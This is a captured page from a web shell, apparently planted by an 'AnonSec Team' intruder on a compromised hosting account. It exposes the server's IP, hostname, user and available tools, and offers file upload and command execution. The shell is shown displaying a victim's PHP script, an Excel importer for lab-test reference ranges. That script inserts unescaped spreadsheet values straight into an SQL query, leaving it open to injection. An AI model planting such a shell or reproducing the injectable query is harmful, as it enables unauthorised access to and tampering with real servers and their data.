Mr.Fn4ticHz Shell
Server IP : 162.240.98.243  /  Your IP : 18.224.68.28
Web Server : Apache
System : Linux server.bti.yaw.mybluehostin.me 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : btiyawmy ( 1003)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/btiyawmy/public_html/login.easenup.in/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ HOME ]     

Current File : /home/btiyawmy/public_html/login.easenup.in/value_upload.php
<?php
include 'database.php';

$uploadfile=$_FILES['uploadfile']['tmp_name'];

require 'PHPExcel/Classes/PHPExcel.php';
require_once 'PHPExcel/Classes/PHPExcel/IOFactory.php';

$objExcel=PHPExcel_IOFactory::load($uploadfile);
foreach($objExcel->getWorksheetIterator() as $worksheet)
{
	$highestrow=$worksheet->getHighestRow();

	for($row=0;$row<=$highestrow;$row++)
	{
		$ivid=$worksheet->getCellByColumnAndRow(0,$row)->getValue();
		$methodid=$worksheet->getCellByColumnAndRow(1,$row)->getValue();
	    $parametersid=$worksheet->getCellByColumnAndRow(2,$row)->getValue();
		$Test_Description=$worksheet->getCellByColumnAndRow(3,$row)->getValue();
		$Unit=$worksheet->getCellByColumnAndRow(4,$row)->getValue();
		$gender=$worksheet->getCellByColumnAndRow(5,$row)->getValue();
	    $same_to_all=$worksheet->getCellByColumnAndRow(6,$row)->getValue();
		$all_min=$worksheet->getCellByColumnAndRow(7,$row)->getValue();
		$all_max=$worksheet->getCellByColumnAndRow(8,$row)->getValue();
		$mNewborn_min=$worksheet->getCellByColumnAndRow(9,$row)->getValue();
	    $mNewborn_max=$worksheet->getCellByColumnAndRow(10,$row)->getValue();
		$mChild_min=$worksheet->getCellByColumnAndRow(11,$row)->getValue();
		$mChild_max=$worksheet->getCellByColumnAndRow(12,$row)->getValue();
		$mAdult_min=$worksheet->getCellByColumnAndRow(13,$row)->getValue();
		$mAdult_max=$worksheet->getCellByColumnAndRow(14,$row)->getValue();
		$mSenior_Citizen_min=$worksheet->getCellByColumnAndRow(15,$row)->getValue();
		$mSenior_Citizen_max=$worksheet->getCellByColumnAndRow(16,$row)->getValue();
	   $mold_min=$worksheet->getCellByColumnAndRow(17,$row)->getValue();
		$mold_max=$worksheet->getCellByColumnAndRow(18,$row)->getValue();
		$fNewborn_min=$worksheet->getCellByColumnAndRow(19,$row)->getValue();
		$fNewborn_max=$worksheet->getCellByColumnAndRow(20,$row)->getValue();
		$fChild_min=$worksheet->getCellByColumnAndRow(21,$row)->getValue();
	    $fChild_max=$worksheet->getCellByColumnAndRow(22,$row)->getValue();
		$fAdult_min=$worksheet->getCellByColumnAndRow(23,$row)->getValue();
		$fAdult_max=$worksheet->getCellByColumnAndRow(24,$row)->getValue();
		$fSenior_Citizen_min=$worksheet->getCellByColumnAndRow(25,$row)->getValue();
		$fSenior_Citizen_max=$worksheet->getCellByColumnAndRow(26,$row)->getValue();
	    $fold_min=$worksheet->getCellByColumnAndRow(27,$row)->getValue();
		$fold_max=$worksheet->getCellByColumnAndRow(28,$row)->getValue();
		$entered_by=$worksheet->getCellByColumnAndRow(29,$row)->getValue();
		$created_at=$worksheet->getCellByColumnAndRow(30,$row)->getValue();

		if($created_at!='')
		{
			$insertqry="INSERT INTO Test_Description_final (`ivid`,`methodid`,`parametersid`,`Test_Description`,`Unit`,`gender`, `same_to_all`,`all_min`,`all_max`,`mNewborn_min`,`mNewborn_max`, `mChild_min`,`mChild_max`,`mAdult_min`,`mAdult_max`,`mSenior_Citizen_min`,`mSenior_Citizen_max`,`mold_min`,`mold_max`,`fNewborn_min`,`fNewborn_max`,`fChild_min`,`fChild_max`,`fAdult_min`,`fAdult_max`,`fSenior_Citizen_min`,`fSenior_Citizen_max`,`fold_min`,`fold_max`,`entered_by`,`created_at`) VALUES ('$ivid','$methodid','$parametersid','$Test_Description','$Unit','$gender','$same_to_all','$all_min','$all_max','$mNewborn_min','$mNewborn_max','$mChild_min','$mChild_max','$mAdult_min','$mAdult_max','$mSenior_Citizen_min','$mSenior_Citizen_max','$mold_min','$mold_max','$fNewborn_min','$fNewborn_max','$fChild_min','$fChild_max','$fAdult_min','$fAdult_max','$fSenior_Citizen_min','$fSenior_Citizen_max','$fold_min','$fold_max','$entered_by','$created_at')";
			$insertres=mysqli_query($con,$insertqry);
		}
	}
}
header('Location: testvalueexcell.php');
?>

Anon7 - 2022
AnonSec Team